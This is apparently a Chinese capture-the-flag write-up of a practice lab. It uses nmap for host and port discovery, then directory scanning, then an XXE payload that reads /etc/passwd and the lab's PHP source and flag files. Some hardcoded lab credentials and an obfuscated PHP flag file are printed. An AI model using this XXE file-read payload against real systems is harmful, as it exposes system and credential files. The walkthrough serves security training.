Nmap使用方法及场景
一直都知道nmap功能很强大，但是平时工作中就只用来扫描端口，渐渐的都忘记了其它的功能及使用方法，正好今天做靶场需要用nmap进行存活主机发现，总结下nmap的使用方法。
场景一：主机发现
nmap -sP 192.168.44.0/24 使用ping命令来发现存活主机
场景二：端口扫描
nmap -v -sV -p- 192.168.44.138
3，发现开启80端口
4，使用dirsearch进行目录扫描
5，访问robots.txt
6,
7,抓包发现了有意思的东西
8，发现可以利用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<root><name>&admin;</name><password>admin123</password></root>
base64解密之后，发现用户名和密码存在源码当中，MD5解密，发现用户名为[email protected]
<?php
session_start();
?>
<html lang = "en">
<head>
<title>admin</title>
<link href = "css/bootstrap.min.css" rel = "stylesheet">
</head>
<body>
<h2>Enter Username and Password</h2>
<div class = "container form-signin">
<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username'])
&& !empty($_POST['password'])) {
if ($_POST['username'] == 'administhebest' &&
md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
$_SESSION['valid'] = true;
$_SESSION['timeout'] = time();
$_SESSION['username'] = 'administhebest';
echo "You have entered valid use name and password <br />";
$flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
echo $flag;
}else {
$msg = 'Maybe Later';
}
}
?>
</div> <!-- W00t/W00t -->
<div class = "container">
<form class = "form-signin" role = "form"
action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
?>" method = "post">
<h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
<input type = "text" class = "form-control"
name = "username"
required autofocus></br>
<input type = "password" class = "form-control"
name = "password" required>
<button class = "btn btn-lg btn-primary btn-block" type = "submit"
name = "login">Login</button>
</form>
Click here to clean <a href = "adminlog.php" tite = "Logout">Session.
</div>
</body>
</html>
使用admin.php当中发现的用户和密码进行登录
点击红色的Flag跳转到404
一猜就知道在xxe目录下
发现很多靶场都要有一个文件包含、文件读取漏洞，必须得读源码才可以，不然就很难做下去，还可以锻炼一下自己的代码审计能力。
所以，使用xxe读取flagmeout.php文件
base64解密发现第一个flag
看着这个flag应该也是编码了，百度下，发现是base32编码
我去，再进行base64解码吧
继续读取/etc/.flag.php源码，base64解码得
$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$À=+_;$Á=$Â=$Ã=$Ä=$Æ=$È=$É=$Ê=$Ë=++$Á[];$Â++;$Ã++;$Ã++;$Ä++;$Ä++;$Ä++;$Æ++;$Æ++;$Æ++;$Æ++;$È++;$È++;$È++;$È++;$È++;$É++;$É++;$É++;$É++;$É++;$É++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$__('$_="'.$___.$Á.$Â.$Ã.$___.$Á.$À.$Á.$___.$Á.$À.$È.$___.$Á.$À.$Ã.$___.$Á.$Â.$Ã.$___.$Á.$Â.$À.$___.$Á.$É.$Ã.$___.$Á.$É.$À.$___.$Á.$É.$À.$___.$Á.$Ä.$Æ.$___.$Á.$Ã.$É.$___.$Á.$Æ.$Á.$___.$Á.$È.$Ã.$___.$Á.$Ã.$É.$___.$Á.$È.$Ã.$___.$Á.$Æ.$É.$___.$Á.$Ã.$É.$___.$Á.$Ä.$Æ.$___.$Á.$Ä.$Á.$___.$Á.$È.$Ã.$___.$Á.$É.$Á.$___.$Á.$É.$Æ.'"');$__($_);
这是个啥，很像以前做过的一个靶场中的ook编码
先百度一下